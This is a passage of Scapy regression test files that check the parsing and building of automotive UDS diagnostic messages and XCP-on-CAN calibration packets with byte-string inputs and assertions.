UDS(b'\\x7d\\x22\\x02\\x02\\x03\\x03')\nassert wmbapr.service == 0x7d\nassert wmbapr.memorySizeLen == 2\nassert wmbapr.memoryAddressLen == 2\nassert wmbapr.memoryAddress2 == 0x202\nassert wmbapr.memorySize2 == 0x303\n\nassert wmbapr.answers(wmba)\n\n= Check UDS_WMBA\n\nwmba = UDS(b'\\x3d\\x33\\x02\\x02\\x02\\x03\\x03\\x03muchData')\nassert wmba.service == 0x3d\nassert wmba.memorySizeLen == 3\nassert wmba.memoryAddressLen == 3\nassert wmba.memoryAddress3 == 0x20202\nassert wmba.memorySize3 == 0x30303\nassert wmba.dataRecord == b'muchData'\n\n= Check UDS_WMBA\n\nwmba = UDS(b'\\x3d\\x44\\x02\\x02\\x02\\x02\\x03\\x03\\x03\\x03muchData')\nassert wmba.service == 0x3d\nassert wmba.memorySizeLen == 4\nassert wmba.memoryAddressLen == 4\nassert wmba.memoryAddress4 == 0x2020202\nassert wmba.memorySize4 == 0x3030303\nassert wmba.dataRecord == b'muchData'\n\n= Check UDS_WMBAPR\n\nwmbapr = UDS(b'\\x7d\\x33\\x02\\x02\\x02\\x03\\x03\\x03')\nassert wmbapr.service == 0x7d\nassert wmbapr.memorySizeLen == 3\nassert wmbapr.memoryAddressLen == 3\nassert wmbapr.memoryAddress3 == 0x20202\nassert wmbapr.memorySize3 == 0x30303\n\nassert not wmbapr.answers(wmba)\n\n= Check UDS_WMBAPR\n\nwmbapr = UDS(b'\\x7d\\x44\\x02\\x02\\x02\\x02\\x03\\x03\\x03\\x03')\nassert wmbapr.service == 0x7d\nassert wmbapr.memorySizeLen == 4\nassert wmbapr.memoryAddressLen == 4\nassert wmbapr.memoryAddress4 == 0x2020202\nassert wmbapr.memorySize4 == 0x3030303\n\nassert wmbapr.answers(wmba)\n\n= Check UDS_CDTCI\n\ncdtci = UDS(b'\\x14\\x44\\x02\\x03')\nassert cdtci.service == 0x14\nassert cdtci.groupOfDTCHighByte == 0x44\nassert cdtci.groupOfDTCMiddleByte == 0x02\nassert cdtci.groupOfDTCLowByte == 0x3\n\n= Check UDS_RDTCI\n\nrdtci = UDS(b'\\x19\\x44')\nassert rdtci.service == 0x19\nassert rdtci.reportType == 0x44\n\n= Check UDS_RDTCI\n\nrdtci = UDS(b'\\x19\\x01\\xff')\nassert rdtci.service == 0x19\nassert rdtci.reportType == 0x01\nassert rdtci.DTCStatusMask == 0xff\n\n= Check UDS_RDTCIPR\n\nrdtcipr = UDS(b'\\x59\\x01\\xff\\xee\\xdd\\xaa')\nassert rdtcipr.service == 0x59\nassert rdtcipr.reportType == 1\nassert rdtcipr.DTCStatusAvailabilityMask == 0xff\nassert rdtcipr.DTCFormatIdentifier == 0xee\nassert rdtcipr.DTCCount == 0xddaa\n\nassert rdtcipr.answers(rdtci)\n\nrdtcipr1 = UDS(b'\\x59\\x02\\xff\\x11\\x07\\x11\\'\\x022\\x12\\'\\x01\\x07\\x11\\'\\x01\\x18\\x12\\'\\x01\\x13\\x12\\'\\x01\"\\x11\\'\\x06C\\x00\\'\\x06S\\x00\\'\\x161\\x00\\'\\x14\\x03\\x12\\'')\n\nassert len(rdtcipr1.DTCAndStatusRecord) == 10\nassert rdtcipr1.DTCAndStatusRecord[0].dtc.system == 0\nassert rdtcipr1.DTCAndStatusRecord[0].dtc.type == 1\nassert rdtcipr1.DTCAndStatusRecord[0].dtc.numeric_value_code == 263\nassert rdtcipr1.DTCAndStatusRecord[0].dtc.additional_information_code == 17\nassert rdtcipr1.DTCAndStatusRecord[0].status == 0x27\nassert rdtcipr1.DTCAndStatusRecord[-1].dtc.system == 0\nassert rdtcipr1.DTCAndStatusRecord[-1].dtc.type == 1\nassert rdtcipr1.DTCAndStatusRecord[-1].dtc.numeric_value_code == 1027\nassert rdtcipr1.DTCAndStatusRecord[-1].dtc.additional_information_code == 18\nassert rdtcipr1.DTCAndStatusRecord[-1].status == 0x27\n\n= Check UDS_RDTCI\n\nrdtci = UDS(b'\\x19\\x02\\xff')\nassert rdtci.service == 0x19\nassert rdtci.reportType == 0x02\nassert rdtci.DTCStatusMask == 0xff\n\n= Check UDS_RDTCI\n\nrdtci = UDS(b'\\x19\\x0f\\xff')\nassert rdtci.service == 0x19\nassert rdtci.reportType == 0x0f\nassert rdtci.DTCStatusMask == 0xff\n\n= Check UDS_RDTCI\n\nrdtci = UDS(b'\\x19\\x11\\xff')\nassert rdtci.service == 0x19\nassert rdtci.reportType == 0x11\nassert rdtci.DTCStatusMask == 0xff\n\n= Check UDS_RDTCI\n\nrdtci = UDS(b'\\x19\\x12\\xff')\nassert rdtci.service == 0x19\nassert rdtci.reportType == 0x12\nassert rdtci.DTCStatusMask == 0xff\n\n= Check UDS_RDTCI\n\nrdtci = UDS(b'\\x19\\x13\\xff')\nassert rdtci.service == 0x19\nassert rdtci.reportType == 0x13\nassert rdtci.DTCStatusMask == 0xff\n\n= Check UDS_RDTCI\n\nrdtci = UDS(b'\\x19\\x03\\xff\\xee\\xdd\\xaa')\nassert rdtci.service == 0x19\nassert rdtci.reportType == 0x03\nassert rdtci.dtc == DTC(bytes.fromhex(\"ffeedd\"))\nassert rdtci.DTCSnapshotRecordNumber == 0xaa\n\n= Check UDS_RDTCI\n\nrdtci = UDS(b'\\x19\\x04\\xff\\xee\\xdd\\xaa')\nassert rdtci.service == 0x19\nassert rdtci.reportType == 0x04\nassert rdtci.dtc == DTC(bytes.fromhex(\"ffeedd\"))\nassert rdtci.DTCSnapshotRecordNumber == 0xaa\n\n= Check UDS_RDTCI\n\nrdtci = UDS(b'\\x19\\x05\\xaa')\nassert rdtci.service == 0x19\nassert rdtci.reportType == 0x05\nassert rdtci.DTCSnapshotRecordNumber == 0xaa\n\n= Check UDS_RDTCI\n\nrdtci = UDS(b'\\x19\\x06\\xff\\xee\\xdd\\xaa')\nassert rdtci.service == 0x19\nassert rdtci.reportType == 0x06\nassert rdtci.dtc == DTC(bytes.fromhex(\"ffeedd\"))\nassert rdtci.DTCExtendedDataRecordNumber == 0xaa\n\n= Check UDS_RDTCI\n\nrdtci = UDS(b'\\x19\\x07\\xaa\\xbb')\nassert rdtci.service == 0x19\nassert rdtci.reportType == 0x07\nassert rdtci.DTCSeverityMask == 0xaa\nassert rdtci.DTCStatusMask == 0xbb\n\n= Check UDS_RDTCI\n\nrdtci = UDS(b'\\x19\\x08\\xaa\\xbb')\nassert rdtci.service == 0x19\nassert rdtci.reportType == 0x08\nassert rdtci.DTCSeverityMask == 0xaa\nassert rdtci.DTCStatusMask == 0xbb\n\n= Check UDS_RDTCI\n\nrdtci = UDS(b'\\x19\\x09\\xff\\xee\\xdd')\nassert rdtci.service == 0x19\nassert rdtci.reportType == 0x09\nassert rdtci.dtc == DTC(bytes.fromhex(\"ffeedd\"))\n\n= Check UDS_RDTCI\n\nrdtci = UDS(b'\\x19\\x10\\xff\\xee\\xdd\\xaa')\nassert rdtci.service == 0x19\nassert rdtci.reportType == 0x10\nassert rdtci.dtc == DTC(bytes.fromhex(\"ffeedd\"))\nassert rdtci.DTCExtendedDataRecordNumber == 0xaa\n\n\n= Check UDS_RDTCIPR\n\nrdtcipr = UDS(b'\\x59\\x02\\xff\\xee\\xdd\\xaa\\x02')\nrdtcipr.show()\nassert rdtcipr.service == 0x59\nassert rdtcipr.reportType == 2\nassert rdtcipr.DTCStatusAvailabilityMask == 0xff\nassert rdtcipr.DTCAndStatusRecord[0].dtc.system == 3\nassert rdtcipr.DTCAndStatusRecord[0].dtc.type == 2\nassert rdtcipr.DTCAndStatusRecord[0].dtc.numeric_value_code == 3805\nassert rdtcipr.DTCAndStatusRecord[0].dtc.additional_information_code == 170\nassert rdtcipr.DTCAndStatusRecord[0].status == 2\n\nassert not rdtcipr.answers(rdtci)\n\n= Check UDS_RDTCIPR extended data\n\np = UDS(b'Y\\x06\\x80SV`\\x01\\x00\\x02\\x01\\x03\\x15')\n\nassert len(p.extendedDataRecord.extendedData) == 3\n\nassert p.extendedDataRecord.extendedData[0].data_type == 1\nassert p.extendedDataRecord.extendedData[1].data_type == 2\nassert p.extendedDataRecord.extendedData[2].data_type == 3\n\nassert p.extendedDataRecord.extendedData[0].record == 0\nassert p.extendedDataRecord.extendedData[1].record == 1\nassert p.extendedDataRecord.extendedData[2].record == 0x15\n\n\n= Check UDS_RDTCIPR\n\nrdtcipr = UDS(b'\\x59\\x03\\xff\\xee\\xdd\\xaa')\nassert rdtcipr.service == 0x59\nassert rdtcipr.reportType == 3\nassert rdtcipr.dataRecord == b'\\xff\\xee\\xdd\\xaa'\n\n\n= Check UDS_RDTCIPR 2\nreq = UDS(bytes.fromhex(\"1904480a46ff\"))\nresp = UDS(bytes.fromhex(\"5904480a46af000b170002ff6417010a8278fa170c2ff1800000800104800200028003400a8004808005054002400a400004010b170002ff6417010a82ec69170c2f2c800000800100800200028003400a80048080050540024017400004\"))\n\nassert resp.answers(req)\n\nreq = UDS(bytes.fromhex(\"1904480a47ff\"))\nresp = UDS(bytes.fromhex(\"5904480a46af000b170002ff6417010a8278fa170c2ff1800000800104800200028003400a8004808005054002400a400004010b170002ff6417010a82ec69170c2f2c800000800100800200028003400a80048080050540024017400004\"))\n\nassert not resp.answers(req)\n\nreq = UDS(bytes.fromhex(\"1906480a46ff\"))\nresp = UDS(bytes.fromhex(\"5906480a46af010002070328\"))\n\nassert resp.answers(req)\n\n= Check UDS_RC\n\nrc = UDS(b'\\x31\\x03\\xff\\xee\\xdd\\xaa')\nassert rc.service == 0x31\nassert rc.routineControlType == 3\nassert rc.routineIdentifier == 0xffee\nassert rc.load == b'\\xdd\\xaa'\n\n= Check UDS_RC\n\nrc = UDS(b'\\x31\\x03\\xff\\xee\\xdd\\xaa')\nassert rc.service == 0x31\nassert rc.routineControlType == 3\nassert rc.routineIdentifier == 0xffee\nassert rc.load == b'\\xdd\\xaa'\n\n\n= Check UDS_RCPR\n\nrcpr = UDS(b'\\x71\\x03\\xff\\xee\\xdd\\xaa')\nassert rcpr.service == 0x71\nassert rcpr.routineControlType == 3\nassert rcpr.routineIdentifier == 0xffee\nassert rcpr.load == b'\\xdd\\xaa'\n\n= Check UDS_RD\n\nrd = UDS(b'\\x34\\xaa\\x11\\x02\\x02')\nassert rd.service == 0x34\nassert rd.dataFormatIdentifier == 0xaa\nassert rd.memorySizeLen == 1\nassert rd.memoryAddressLen == 1\nassert rd.memoryAddress1 == 2\nassert rd.memorySize1 == 2\n\n\n= Check UDS_RD\n\nrd = UDS(b'\\x34\\xaa\\x22\\x02\\x02\\x03\\x03')\nassert rd.service == 0x34\nassert rd.dataFormatIdentifier == 0xaa\nassert rd.memorySizeLen == 2\nassert rd.memoryAddressLen == 2\nassert rd.memoryAddress2 == 0x202\nassert rd.memorySize2 == 0x303\n\n= Check UDS_RD\n\nrd = UDS(b'\\x34\\xaa\\x33\\x02\\x02\\x02\\x03\\x03\\x03')\nassert rd.service == 0x34\nassert rd.dataFormatIdentifier == 0xaa\nassert rd.memorySizeLen == 3\nassert rd.memoryAddressLen == 3\nassert rd.memoryAddress3 == 0x20202\nassert rd.memorySize3 == 0x30303\n\n= Check UDS_RD\n\nrd = UDS(b'\\x34\\xaa\\x44\\x02\\x02\\x02\\x02\\x03\\x03\\x03\\x03')\nassert rd.service == 0x34\nassert rd.dataFormatIdentifier == 0xaa\nassert rd.memorySizeLen == 4\nassert rd.memoryAddressLen == 4\nassert rd.memoryAddress4 == 0x2020202\nassert rd.memorySize4 == 0x3030303\n\n\n= Check UDS_RDPR\n\nrdpr = UDS(b'\\x74\\x40\\x02\\x02\\x02\\x02\\x03\\x03\\x03\\x03')\nassert rdpr.service == 0x74\nassert rdpr.memorySizeLen == 4\nassert rdpr.reserved == 0\nassert rdpr.maxNumberOfBlockLength == b'\\x02\\x02\\x02\\x02\\x03\\x03\\x03\\x03'\n\nassert rdpr.answers(rd)\n\n= Check UDS_RU\n\nru = UDS(b'\\x35\\xaa\\x11\\x02\\x02')\nassert ru.service == 0x35\nassert ru.dataFormatIdentifier == 0xaa\nassert ru.memorySizeLen == 1\nassert ru.memoryAddressLen == 1\nassert ru.memoryAddress1 == 2\nassert ru.memorySize1 == 2\n\n= Check UDS_RU\n\nru = UDS(b'\\x35\\xaa\\x22\\x02\\x02\\x03\\x03')\nassert ru.service == 0x35\nassert ru.dataFormatIdentifier == 0xaa\nassert ru.memorySizeLen == 2\nassert ru.memoryAddressLen == 2\nassert ru.memoryAddress2 == 0x202\nassert ru.memorySize2 == 0x303\n\n\n= Check UDS_RU\n\nru = UDS(b'\\x35\\xaa\\x33\\x02\\x02\\x02\\x03\\x03\\x03')\nassert ru.service == 0x35\nassert ru.dataFormatIdentifier == 0xaa\nassert ru.memorySizeLen == 3\nassert ru.memoryAddressLen == 3\nassert ru.memoryAddress3 == 0x20202\nassert ru.memorySize3 == 0x30303\n\n\n= Check UDS_RU\n\nru = UDS(b'\\x35\\xaa\\x44\\x02\\x02\\x02\\x02\\x03\\x03\\x03\\x03')\nassert ru.service == 0x35\nassert ru.dataFormatIdentifier == 0xaa\nassert ru.memorySizeLen == 4\nassert ru.memoryAddressLen == 4\nassert ru.memoryAddress4 == 0x2020202\nassert ru.memorySize4 == 0x3030303\n\n\n= Check UDS_RUPR\n\nrupr = UDS(b'\\x75\\x40\\x02\\x02\\x02\\x02\\x03\\x03\\x03\\x03')\nassert rupr.service == 0x75\nassert rupr.memorySizeLen == 4\nassert rupr.reserved == 0\nassert rupr.maxNumberOfBlockLength == b'\\x02\\x02\\x02\\x02\\x03\\x03\\x03\\x03'\n\nassert rupr.answers(ru)\n\n= Check UDS_TD\n\ntd = UDS(b'\\x36\\xaapayload')\nassert td.service == 0x36\nassert td.blockSequenceCounter == 0xaa\nassert td.transferRequestParameterRecord == b'payload'\n\n= Check UDS_TD\n\ntd = UDS(b'\\x36\\xaapayload')\nassert td.service == 0x36\nassert td.blockSequenceCounter == 0xaa\nassert td.transferRequestParameterRecord == b'payload'\n\n= Check UDS_TDPR\n\ntdpr = UDS(b'\\x76\\xaapayload')\nassert tdpr.service == 0x76\nassert tdpr.blockSequenceCounter == 0xaa\nassert tdpr.transferResponseParameterRecord == b'payload'\n\nassert tdpr.answers(td)\n\n= Check UDS_RTE\n\nrte = UDS(b'\\x37payload')\nassert rte.service == 0x37\nassert rte.transferRequestParameterRecord == b'payload'\n\n= Check UDS_RTEPR\n\nrtepr = UDS(b'\\x77payload')\nassert rtepr.service == 0x77\nassert rtepr.transferResponseParameterRecord == b'payload'\n\nassert rtepr.answers(rte)\n\n= Check UDS_IOCBI\n\niocbi = UDS(b'\\x2f\\x23\\x34\\xffcoffee')\nassert iocbi.service == 0x2f\nassert iocbi.dataIdentifier == 0x2334\nassert iocbi.load == b'\\xffcoffee'\n\n= Check UDS_RFT\n\nrft = UDS(b'\\x38\\x01\\x00\\x1ED:\\\\mapdata\\\\europe\\\\germany1.yxz\\x11\\x02\\xC3\\x50\\x75\\x30')\nassert rft.service == 0x38\nassert rft.modeOfOperation == 0x01\nassert rft.filePathAndNameLength == 0x001e\nassert rft.filePathAndName == b'D:\\\\mapdata\\\\europe\\\\germany1.yxz'\nassert rft.compressionMethod == 1\nassert rft.encryptingMethod == 1\nassert rft.fileSizeParameterLength == 0x02\nassert rft.fileSizeUnCompressed == b'\\xc3\\x50'\nassert rft.fileSizeCompressed == b'\\x75\\x30'\n\n= Build UDS_RFT\n\nrft_build = UDS()/UDS_RFT(modeOfOperation=0x1,\n                          filePathAndName=(b'D:\\\\mapdata\\\\europe\\\\' +\n                                           b'germany1.yxz'),\n                          compressionMethod=1, encryptingMethod=1,\n                          fileSizeUnCompressed=b'\\xc3\\x50',\n                          fileSizeCompressed=b'\\x75\\x30')\nassert bytes(rft_build) == bytes(rft)\n\n= Check UDS_RFTPR\n\nrftpr = UDS(b'\\x78\\x01\\x02\\xc3\\x50\\x11')\nassert rftpr.service == 0x78\nassert rftpr.modeOfOperation == 0x01\nassert rftpr.lengthFormatIdentifier == 0x02\nassert rftpr.maxNumberOfBlockLength == b'\\xc3\\x50'\nassert rftpr.compressionMethod == 1\nassert rftpr.encryptingMethod == 1\n\nassert rftpr.answers(rft)\n\n= Build UDS_RFTPR\nrftpr_build = UDS()/UDS_RFTPR(modeOfOperation=0x1,\n                              maxNumberOfBlockLength=b'\\xc3\\x50',\n                              compressionMethod=1, encryptingMethod=1)\nassert bytes(rftpr_build) == bytes(rftpr)\n\n= Check (invalid) UDS_NRC, no reply-to service\n\nnrc = UDS(b'\\x7f')\nassert nrc.service == 0x7f\n\n= Check UDS_NRC\n\nnrc = UDS(b'\\x7f\\x22\\x33')\nassert nrc.service == 0x7f\nassert nrc.requestServiceId == 0x22\nassert nrc.negativeResponseCode == 0x33\n"
  },
  {
    "path": "test/contrib/automotive/xcp/xcp.uts",
    "content": "% Regression tests for the XCP\n# More information at http://www.secdev.org/projects/UTscapy/\n\n############\n############\n\n+ Basic operations\n\n= Load module\n\nload_layer(\"can\", globals_dict=globals())\nconf.contribs['CAN']['swap-bytes'] = False\nload_contrib(\"automotive.xcp.xcp\",  globals_dict=globals())\n\n\n= Test padding\n\nconf.contribs[\"XCP\"][\"add_padding_for_can\"] = True\n\npkt = XCPOnCAN(identifier=0x700) / CTORequest() / Connect()\nbuild_pkt = bytes(pkt)\nhexdump(build_pkt)\nassert build_pkt == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc'\nconf.contribs[\"XCP\"][\"add_padding_for_can\"] = False\n\n= test_get_com_mode_info\nconf.contribs[\"XCP\"][\"add_padding_for_can\"] = False\n\ncto_request = CTORequest() / GetCommModeInfo()\nassert cto_request.pid == 0xfb\nassert bytes(cto_request) == b'\\xfb'\n\ncto_response = CTOResponse(b'\\xff\\x00\\x01\\x00\\x02\\x00\\x00\\x64')\nassert cto_response.packet_code == 0xFF\n\nassert cto_response.answers(cto_request)\n\nget_comm_mode_info_response = cto_response[\"CommonModeInfoPositiveResponse\"]\nassert \"master_block_mode\" in get_comm_mode_info_response.comm_mode_optional\nassert get_comm_mode_info_response.max_bs == 0x02\nassert get_comm_mode_info_response.min_st == 0x00\nassert get_comm_mode_info_response.xcp_driver_version_number == 0x64\n\n= test_get_status\n\ncto_request = CTORequest() / GetStatus()\nassert cto_request.pid == 0xfd\nassert bytes(cto_request) == b'\\xfd'\n\ncto_response = CTOResponse(b'\\xff\\x00\\x15\\x00\\x00\\x00')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\nget_comm_mode_info_response = cto_response[\"StatusPositiveResponse\"]\nassert get_comm_mode_info_response.current_session_status == 0x00\nassert \"cal_pag\" in get_comm_mode_info_response.current_resource_protection_status\nassert \"x1\" not in get_comm_mode_info_response.current_resource_protection_status\nassert \"daq\" in get_comm_mode_info_response.current_resource_protection_status\nassert \"stim\" not in get_comm_mode_info_response.current_resource_protection_status\nassert \"pgm\" in get_comm_mode_info_response.current_resource_protection_status\nassert \"x5\" not in get_comm_mode_info_response.current_resource_protection_status\nassert \"x6\" not in get_comm_mode_info_response.current_resource_protection_status\nassert \"x7\" not in get_comm_mode_info_response.current_resource_protection_status\n\nassert get_comm_mode_info_response.session_configuration_id == 0x0000\n\n= test_get_seed\n\nconf.contribs['XCP']['MAX_CTO'] = 8\ncto_request = CTORequest() / GetSeed(b'\\x00\\x01')\nassert cto_request.pid == 0xf8\nassert bytes(cto_request) == b'\\xf8\\x00\\x01'\n\ncto_response = CTOResponse(b'\\xff\\x06\\x00\\x01\\x02\\x03\\x04\\x05')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\nget_seed_response = cto_response[\"SeedPositiveResponse\"]\nassert get_seed_response.seed_length == 0x06\nassert get_seed_response.seed == b'\\x00\\x01\\x02\\x03\\x04\\x05'\n\n= test_unlock\n\nconf.contribs['XCP']['MAX_CTO'] = 8\ncto_request = CTORequest() / Unlock(b'\\x06\\x69\\xAB\\xA6\\x00\\x00\\x00')\nassert cto_request.pid == 0xf7\nassert cto_request['Unlock'].len == 0x06\nassert cto_request['Unlock'].seed == b'\\x69\\xAB\\xA6\\x00\\x00\\x00'\nassert bytes(cto_request) == b'\\xf7\\x06\\x69\\xAB\\xA6\\x00\\x00\\x00'\n\ncto_response = CTOResponse(b'\\xff\\x14')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\nunlock_response = cto_response[\"UnlockPositiveResponse\"]\nassert unlock_response.current_resource_protection_status == 0x14\nassert \"cal_pag\" not in unlock_response.current_resource_protection_status\nassert \"x1\" not in unlock_response.current_resource_protection_status\nassert \"daq\" in unlock_response.current_resource_protection_status\nassert \"stim\" not in unlock_response.current_resource_protection_status\nassert \"pgm\" in unlock_response.current_resource_protection_status\nassert \"x5\" not in unlock_response.current_resource_protection_status\nassert \"x6\" not in unlock_response.current_resource_protection_status\nassert \"x7\" not in unlock_response.current_resource_protection_status\n\n= test_get_id\n\nconf.contribs['XCP']['byte_order'] = 0\ncto_request = CTORequest() / GetId(b'\\x01')\nassert cto_request.pid == 0xfa\nassert bytes(cto_request) == b'\\xfa\\x01'\nassert cto_request['GetId'].identification_type == 0x01\n\ncto_response = CTOResponse(b'\\xff\\x00\\x00\\x00\\x06\\x00\\x00\\x00')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\nget_id_response = cto_response[\"IdPositiveResponse\"]\nassert get_id_response.mode == 0x00\nassert get_id_response.length == 6\n\n\n= test_upload\n\nconf.contribs['XCP']['MAX_CTO'] = 8\nconf.contribs['XCP']['Address_Granularity_Byte'] = 1\n\ncto_request = CTORequest() / Upload(b'\\x06')\nassert cto_request.pid == 0xf5\nassert bytes(cto_request) == b'\\xf5\\x06'\nassert cto_request['Upload'].nr_of_data_elements == 0x06\n\ncto_response = CTOResponse(b'\\xff\\x58\\x43\\x50\\x53\\x49\\x4D')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\nupload_response = cto_response[\"UploadPositiveResponse\"]\nassert upload_response.element == b'\\x58\\x43\\x50\\x53\\x49\\x4D'\n\n= test_cal_page\n\ncto_request = CTORequest() / GetCalPage(b'\\x01\\x00')\nassert cto_request.pid == 0xea\nassert bytes(cto_request) == b'\\xea\\x01\\x00'\n\ncto_response = CTOResponse(b'\\xff\\x00\\x00\\x01')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\nget_cal_page_response = cto_response[\"CalPagePositiveResponse\"]\nassert get_cal_page_response.logical_data_page_number == 0x01\n\n= test_set_mta\n\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / SetMta(b'\\xff\\xff\\x00\\x3c\\x00\\x00\\x00')\nassert cto_request.pid == 0xf6\nassert bytes(cto_request) == b'\\xf6\\xff\\xff\\x00\\x3c\\x00\\x00\\x00'\nassert cto_request['SetMta'].address_extension == 0x00\nassert cto_request['SetMta'].address == 0x3C\n\ncto_response = CTOResponse(b'\\xff')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\n= test_build_checksum\n\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / BuildChecksum(b'\\xff\\xff\\xff\\xad\\x0d\\x00\\x00')\nassert cto_request.pid == 0xf3\nassert bytes(cto_request) == b'\\xf3\\xff\\xff\\xff\\xad\\x0d\\x00\\x00'\nassert hex(cto_request['BuildChecksum'].block_size) == '0xdad'\n\ncto_response = CTOResponse(b'\\xff\\x02\\xff\\xff\\x2C\\x87\\x00\\x00')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\nbuild_checksum_response = cto_response[\"ChecksumPositiveResponse\"]\nassert build_checksum_response.checksum_type == 0x02\nassert hex(build_checksum_response.checksum) == '0x872c'\n\n= test_download\n\nconf.contribs['XCP']['byte_order'] = 0\nconf.contribs['XCP']['MAX_CTO'] = 8\nconf.contribs['XCP']['Address_Granularity_Byte'] = 1\n\ncto_request = CTORequest() / Download(b'\\x04\\x00\\x00\\x80\\x3f')\nassert cto_request.pid == 0xf0\nassert bytes(cto_request) == b'\\xf0\\x04\\x00\\x00\\x80\\x3f'\nassert cto_request['Download'].nr_of_data_elements == 0x04\nassert cto_request['Download'].data_elements == b'\\x00\\x00\\x80\\x3f'\n\ncto_response = CTOResponse(b'\\xff')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\n= test_short_upload\n\nconf.contribs['XCP']['byte_order'] = 0\nconf.contribs['XCP']['MAX_CTO'] = 8\nconf.contribs['XCP']['Address_Granularity_Byte'] = 1\n\ncto_request = CTORequest() / ShortUpload(b'\\04\\xff\\x00\\x60\\x00\\x00\\x00')\nassert cto_request.pid == 0xf4\nassert bytes(cto_request) == b'\\xf4\\x04\\xff\\x00\\x60\\x00\\x00\\x00'\nassert cto_request['ShortUpload'].nr_of_data_elements == 0x04\nassert cto_request['ShortUpload'].address_extension == 0x00\nassert hex(cto_request['ShortUpload'].address) == '0x60'\n\ncto_response = CTOResponse(b'\\xff\\x00\\x00\\x80\\x3F')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\nupload_response = cto_response[\"ShortUploadPositiveResponse\"]\nassert upload_response.element == b'\\x00\\x00\\x80\\x3F'\n\n= test_copy_cal_page\n\ncto_request = CTORequest() / CopyCalPage(b'\\00\\x01\\x02\\x03')\nassert cto_request.pid == 0xe4\nassert bytes(cto_request) == b'\\xe4\\00\\x01\\x02\\x03'\nassert cto_request['CopyCalPage'].segment_num_src == 0x00\nassert cto_request['CopyCalPage'].page_num_src == 0x01\nassert cto_request['CopyCalPage'].segment_num_dst == 0x02\nassert cto_request['CopyCalPage'].page_num_dst == 0x03\n\ncto_response = CTOResponse(b'\\xff')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\n= test_get_daq_processor_info\n\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / GetDaqProcessorInfo()\nassert cto_request.pid == 0xda\nassert bytes(cto_request) == b'\\xda'\ncto_response = CTOResponse(b'\\xff\\x11\\x00\\x00\\x01\\x00\\x00\\x40')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\nprocessor_info_response = cto_response[\"DAQProcessorInfoPositiveResponse\"]\nassert processor_info_response.daq_properties == 0x11\nassert \"daq_config_type\" in processor_info_response.daq_properties\nassert \"timestamp_supported\" in processor_info_response.daq_properties\n\nassert \"prescaler_supported\" not in processor_info_response.daq_properties\nassert \"resume_supported\" not in processor_info_response.daq_properties\nassert \"bit_stim_supported\" not in processor_info_response.daq_properties\nassert \"pid_off_supported\" not in processor_info_response.daq_properties\nassert \"overload_msb\" not in processor_info_response.daq_properties\nassert \"overload_event\" not in processor_info_response.daq_properties\n\nassert processor_info_response.max_daq == 0x0000\nassert processor_info_response.max_event_channel == 0x0001\nassert processor_info_response.min_daq == 0x00\nassert processor_info_response.daq_key_byte == 0x40\nassert \"optimisation_type_0\" not in processor_info_response.daq_key_byte\nassert \"optimisation_type_1\" not in processor_info_response.daq_key_byte\nassert \"optimisation_type_2\" not in processor_info_response.daq_key_byte\nassert \"optimisation_type_3\" not in processor_info_response.daq_key_byte\nassert \"identification_field_type_0\" in processor_info_response.daq_key_byte\nassert \"identification_field_type_1\" not in processor_info_response.daq_key_byte\n\nassert \"address_extension_odt\" not in processor_info_response.daq_key_byte\nassert \"address_extension_daq\" not in processor_info_response.daq_key_byte\nassert \"address_extension_daq\" not in processor_info_response.daq_key_byte\n\n= test_daq_resolution_info\n\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / GetDaqResolutionInfo()\nassert cto_request.pid == 0xd9\nassert bytes(cto_request) == b'\\xd9'\n\ncto_response = CTOResponse(b'\\xff\\x02\\xfd\\xff\\xff\\x62\\x0a\\x00')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\nresolution_info_response = cto_response[\"DAQResolutionInfoPositiveResponse\"]\nassert resolution_info_response.granularity_odt_entry_size_daq == 0x02\nassert resolution_info_response.max_odt_entry_size_daq == 0xfd\nassert resolution_info_response.granularity_odt_entry_size_stim == 0xff\nassert resolution_info_response.max_odt_entry_size_stim == 0xff\nassert resolution_info_response.timestamp_mode == 0x62\nassert \"size_0\" not in resolution_info_response.timestamp_mode\nassert \"size_1\" in resolution_info_response.timestamp_mode\nassert \"size_2\" not in resolution_info_response.timestamp_mode\nassert \"timestamp_fixed\" not in resolution_info_response.timestamp_mode\nassert \"unit_0\" not in resolution_info_response.timestamp_mode\nassert \"unit_1\" in resolution_info_response.timestamp_mode\nassert \"unit_2\" in resolution_info_response.timestamp_mode\nassert \"unit_3\" not in resolution_info_response.timestamp_mode\n\nassert resolution_info_response.timestamp_ticks == 0x000A\n\n= test_daq_event_info\n\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / GetDaqEventInfo(b'\\xff\\x00\\x00')\nassert cto_request.pid == 0xd7\nassert bytes(cto_request) == b'\\xd7\\xff\\x00\\x00'\nassert cto_request['GetDaqEventInfo'].event_channel_num == 0x0000\n\ncto_response = CTOResponse(b'\\xFF\\x04\\x01\\x05\\x0A\\x60\\x00')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\nevent_info_response = cto_response[\"DAQEventInfoPositiveResponse\"]\nassert event_info_response.daq_event_properties == 0x04\nassert \"x_0\" not in event_info_response.daq_event_properties\nassert \"x_1\" not in event_info_response.daq_event_properties\nassert \"daq\" in event_info_response.daq_event_properties\nassert \"stim\" not in event_info_response.daq_event_properties\nassert \"x_4\" not in event_info_response.daq_event_properties\nassert \"x_5\" not in 